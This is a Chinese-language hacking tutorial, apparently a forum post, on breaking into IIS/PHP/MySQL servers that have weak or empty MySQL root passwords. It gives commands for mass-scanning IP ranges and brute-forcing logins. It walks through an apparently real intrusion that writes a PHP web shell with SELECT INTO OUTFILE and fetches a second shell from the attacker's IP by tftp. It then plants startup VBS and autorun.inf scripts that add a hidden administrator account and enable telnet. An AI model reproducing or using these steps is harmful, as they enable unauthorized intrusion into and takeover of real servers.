最近好象很流行SQL攻击,SQL Injection的教程有如雨后春笋,不过这里我不谈SQL-SERVER,来谈谈MYSQL吧。SQL-SERVER的空口令管理员往往都很警惕,但MYSQL就不那么敏感了,因为很多管理员认为MYSQL没有SQL-SERVER那样的扩展储存,所以很多网站都疏于防范,这就给了我们的机会,MYSQL+PHP常常被称为完美组合,许多论坛也是这个结构,下面我就是针对IIS+PHP+MYSQL来讨论的,接着往下看吧!
一、PHP/MySQL简介 SQL(结构化查询语言)是世界上最流行和标准化的数据库语言,它使得存储、更新和存取信息更容易。例如,你能用SQL语言为一个网站检索产品信息及存储顾客信息,同时MySQL也足够快速和灵活以允许你存储记录文件和图像。 MySQL是一个真正的多用户、多线程SQL数据库服务器。它是以一个客户机/服务器结构的实现,它由一个服务器守护程序mysqld和很多不同的客户程序和库组成。MySQL 主要目标是快速、健壮和易用。MySQL建立的基础是业已用在高要求的生产环境多年的一套实用例程。尽管MySQL仍在开发中,但它已经提供一个丰富和极其有用的功能集。 PHP是一种服务器端解释的脚本语言。如果你接触过ASP的话,那么您对于在HTML页面中嵌入代码应该是比较熟悉了。PHP代码在服务器一端被解释转变成普通的HTML页面内容,送给浏览器一端。这种模式使得我们可以用它来完成相当复杂的功能。
二、如何获得MYSQL弱口令的主机 相信这是读者们最关心的事情,其实只要利用两个工具就可以轻松搞定。 工具:HScan v1.20 MysqlCheck HScan v1.20运行在Windows NT/2000/XP 下,其采用多线程方式对指定IP段或主机列表,进行漏洞、弱口令账号、匿名用户检测的工具,扫描项目包括name、port、ftp、ssh、telnet、smtp、finger、iis、cgi、pop、rpc、ipc、imap、mssql、mysql、cisco、plugin... 它可以大面积扫出有MYSQL弱口令的主机,我曾经随便扫描了一个C类网段,竟然有为数不少的弱口令主机,还有一个竟然是政府主机,真是令人毛骨悚然。其扫描格式为: hscan -h 192.168.0.1 192.168.0.254 -ping -mysql -ping就是扫描前先PING,不过现在ISP供应商大多都封了PING,所有一般不推荐加上这个参数。结果如下:(图1)
此主题相关图片如下:
图1 上面即发现了ROOT密码为空的机器,不过,如果没猜出弱口令也没有关系,我们还可以选择暴力破解,这就要用到MysqlCheck了,首先找到MYSQL主机(也可以用扫描器扫开放3306、445端口的主机,因为MYSQL默认端口为3306,而且多半是NT),输入对方IP,配置好字典后就可以开始破解了,不过缺点就是速度有点慢,每分钟60个左右,而且CPU占有率非常高,猜不猜得出来就看你的运气了!
三、得到弱口令之后的提升权限 这里,我们先介绍两个工具: 1、牛族SuperMysql连接器 V1.7—傻瓜化的软件 特点: 1)可以无需安装MYSQL数据库,用SuperMysql连接器可以连接远程MYSQL数据库。 2)远程数据库表直接显示在程序的显示框中,无需手工输入指令。 3)程序绑定了两个MYSQL指令。 修改了两个绑定功能: a)远程更改密码时可以自己定义密码。 b)可以自定义创建的远程帐号和密码。 2、MYSQL自带连接器 虽然是命令行的,但是很稳定哦。 上面所说的两个工具都很容易上手,首先来讲讲利用“牛族SuperMysql连接器 V1.7”来得到SHELL吧。下面总结一下网上流行的思路: 1)通过漏洞或直觉猜解到Web的物理路径,然后写入ASP或PHP的SHELL,接着提升权限。 2)在每个盘符的根目录下写入autorun.inf与一个能建立用户的VBS脚本。 3)通过利用Folder.htt,desktop.ini让管理员执行任意命令。 4)往启动组内写入建立用户的VBS脚本。 这样大家就应该有个底了吧,现在来看实际操作, 我首先通过HScan v1.20得到一所XX信息港的MYSQL密码为空,接着我启动了牛族SuperMysql连接器 V1.7连了上去,如图2所示:
此主题相关图片如下:
图2 接着,我为了得到物理路径,试着在一个PHP下载软件系统,提交 http://xxx.xxx.xxx.xxxx.xxx/soft/show.php?id=74381' 返回如图3
此主题相关图片如下:
图3 我很幸运,轻松地得到了Web的物理地址,虽然没有盘符,但是就那么几个盘,很容易猜的。 然后,我在牛族SuperMysql连接器 V1.7的最上面的空白处输入: use mysql; 点发送命令,显示“命令use mysql;发送成功!”改指令是进入名为mysql的数据库,然后 create table shuangfeng(cmd TEXT) 选择在名为mysql的库中建一个名叫shuangfeng的表,这个表只有一个字段名叫cmd,数据类型为TEXT。然后发送命令: insert into shuangfeng values("<?system($c);?>") 这就是在shuangfeng的表里写入<?system($c);?>,其实这就是PHPSHELL的原代码,简单吧!PHP的功能可是很强大的。然后输入: select * from tmp into outfile "c:\www\htdocs\soft\shuangfeng.php" 返回“命令发送失败”。继续提交: select * from shuangfeng into outfile "d:\www\htdocs\soft\shuangfeng.php" 返回“发送成功”。然后提交: drop table shuangfeng 上面的命令就是把shuangfeng表的里的数据导出到d:wwwhtdocssoft存为shuangfeng.php,接着删除shuangfeng的表。 然后我就访问URL: http://xxx.xxx.xxx.xxxx.xxx/soft/shuangfeng.php?c=dir c:,结果如图四所示:
此主题相关图片如下:
图4 返回了对方C盘里的文件,但是这个PHPSHELL用起来很麻烦,也很难看,所以我再次传了一个PHPSHELL上去了: http://xxx.xxx.xxx.xxxx.xxx/soft/shuangfeng.php?c=tftp -i myip get phpshell 上传完毕后,我再访问URL: http://xxx.xxx.xxx.xxxx.xxx/soft/phpshell.php 返回如图5所示:
此主题相关图片如下:
图5 这样的SHELL就好多了,然后就是提升权限了。先看看可否建立目录: md c:‘"Program File"shuangfeng 结果提示拒绝访问,看来C盘是有权限的拉,接着 MD D:shuangfeng 返回“命令成功完成”。 看来D盘是没有权限限制的,然后看看开了什么服务吧,输入“net start”,我们将会看到该计算机中已经运行的服务。通过分析,我们得出两个有用的服务:MySql、Serv-U FTP Server。 接下来的思路就很明确了:找到MYSQL或Serv-U的存放地点,然后把木马上传到那个目录,把原启动程序更名,再把木马更改成原启动程序的名字,因为C盘是NTFS的,所有如果放在Program Files,WINNT等等之类的目录下的话都没有权限更改,仔细看了一下,原来MYSQL和SERV-U都放在Program Files下,看来是没希望了,不过我们还可以往启动组内写入建立用户的VBS脚本,继续依次提交命令: use test; create table 2(cmd TEXT); insert into 2 values ("dim wsh") …… //往名称为2的表里写入VBS代码,然后 select * from tmp into outfile "C:\Documents and Settings\all users\「开始」菜单\程序\启动\1.vbs" drop table tmp 这里用来将表导出到C:Documents and Settingsall users「开始」菜单程序启动1.VBS文件中。 (注意所有的"要用""代替) 上面要写入的VBS脚本代码如下: dim wsh set wsh=CreateObject("WScript.Shell") wsh.run " net user shuangfeng www.54hack.org /add ",0 wsh.run "net localgroup administrators shuangfeng /add",0 wsh.run "net start telnet",0 重启后将会建立了一个名为shuangfeng,密码是www.54hack.org的用户了,并且开了telnet。 如果速度快的话可以利用一下MS03043漏洞,重启后就TELNET上去.如果读者们不能象我一样幸运但可以看到物理路径的话就只能猜咯。 再来讲讲利用MYSQL自带的连接器入侵吧,首先当然是先连接咯,在CMD里输入: mysql -h ip -u用户名 -p密码 这样就可以连接到对方的MYSQL,连接上去后就可以输入像上面一样输入命令,不过这样一行一行输入好象很烦琐,我们可以制作一个SQL脚本来一次完成,制作过程如下: 1.首先打开记事本,把要运行的SQL语句都打上去,这里我输入: use mysql; create table tmp(cmd TEXT) insert into 2 values ("dim wsh") insert into 2 values ("set wsh=CreateObject(""WScript.Shell"")") insert into 2 values ("wsh.run ""net.exe user aaa aa /add"",0") insert into 2 values ("wsh.run ""net localgroup administrators aaa /add"",0") insert into 2 values ("wsh.run "net start telnet",0") select * from tmp into outfile "C:\Documents and Settings\all users\「开始」菜单\程序\启动\1.vbs" drop table tmp 然后保存为shuangfeng.sql,再在CMD里输入: mysql -h ip -u用户名 -p密码 <<shuangfeng.sql 回车后,就自动输入上面的语句了,如果在每行代码前都添加“insert into tmp values(‘”,末尾都添加“‘)”的话,工程量是可想而知的,所以我就用了一个特殊文本编辑器--易优超级字典生成器注册版,它有一个小功能,在“修改字典”里,如图6有两个选项,一个是“在每个密码前插入字符串”另一个是“在每个密码后插入字符串”不过由于版面的原因,我这就不再告诉怎么用了,大家自己研究一下吧!不过注意所有的"都要用""代替。如果要用autorun.inf与VBS来执行命令的话,就用上面的方法把autorun.inf和VBS导出到各个盘的根目录吧,autorun.inf如下: [AutoRun] OPEN= 2.vbs VBS脚本代码就跟2.VBS一样,剩下的就是等管理员上勾了,
|